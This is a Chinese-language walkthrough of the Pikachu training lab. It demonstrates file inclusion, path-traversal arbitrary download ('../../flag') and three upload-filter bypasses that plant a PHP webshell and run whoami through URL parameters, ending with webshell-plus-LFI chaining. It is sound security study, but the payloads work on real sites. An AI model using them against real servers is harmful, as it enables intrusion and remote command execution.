一、文件包含
1.File Inclusion(local)
我們先測試一下,選擇kobe然后提交
發現url出現變化

發現可以讀取根目錄下的flag文件,存在本地文件包含漏洞。
2.File Inclusion(remote)
同上,選擇kobe提交,發現url也發生變化
所以這次構造url去包含,我選擇了我的博客園地址
https://www.cnblogs.com/p201721440034
返回結果如下

所以遠程文件包含成功。
二、文件下載
打開站點發現提示點擊鏈接就可下載圖片。

隨便復制一個下載鏈接,發現
http://172.16.124.129/pikachu/vul/unsafedownload/execdownload.php?filename=lmx.png
不是根據路徑下載,而是通過傳參下載圖片。
於是照常構造payload
http://172.16.124.129/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../../flag
訪問此鏈接,發現開始下載flag文件,任意文件下載漏洞產生。
二、文件上傳
1.client check
所以我們首先要判斷是前端驗證還是后端驗證,利用審查元素來判斷。
得到前端js校驗代碼
function checkFileExt(filename)
{
var flag = false; //狀態 var arr = ["jpg","png","gif"]; //取出上傳文件的擴展名 var index = filename.lastIndexOf("."); var ext = filename.substr(index+1); //比較 for(var i=0;i<arr.length;i++) { if(ext == arr[i]) { flag = true; //一旦找到合適的,立即退出循環 break; } } //條件判斷 if(!flag) { alert("上傳的文件不符合要求,請重新選擇!"); location.reload(true); } }
所以此文件上傳過濾可以利用burp來修改,我們先選擇gif后綴的php一句話木馬文件
點擊上傳,利用burp攔截數據包
修改filename為111.php點擊forward
上傳成功,路徑為uploads/111.php
所以我們構造payload直接執行命令
http://172.16.124.129/pikachu/vul/unsafeupload/uploads/111.php?a=whoamil
2.MIME type
同上,但是這次通過查看審查元素,沒有發現有前端驗證,然后根據測試發現只能傳圖片文件,但沒有檢測文件名。
點擊上傳。
//只通過判斷Content-Type: 字段來確定文件類型 //修改filename即可 Content-Disposition: form-data; name="uploadfile"; filename="S4tan.php" Content-Type: image/jpeg
發現PHP文件上傳成功
上傳路徑為
http://172.16.124.129/pikachu/vul/unsafeupload/uploads/a123.php
同上,payload為
http://172.16.124.129/pikachu/vul/unsafeupload/uploads/a123.php?a=whoami
3.getimagesize
同上,經過判定無前端驗證,提交一句話測試。
發現服務器判定文件為假圖片,根據此漏洞名可以判定為,此上傳過濾依靠文件大小進行判定,將一句話木馬拼接在圖片后面。
生成了一個圖片馬,但是服務器端將你上傳的文件進行重命名了,所以要想此文件被解析成php文件,我們只能利用文件包含漏洞去包含圖片馬。
利用之前文件包含漏洞的payload去包含此圖片馬,構造payload
http://172.16.124.129/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2019/12/19/8653725dfb71073ffa8429484095.jpg&submit=%E6%8F%90%E4%BA%A4\
執行whoami
發現執行成功。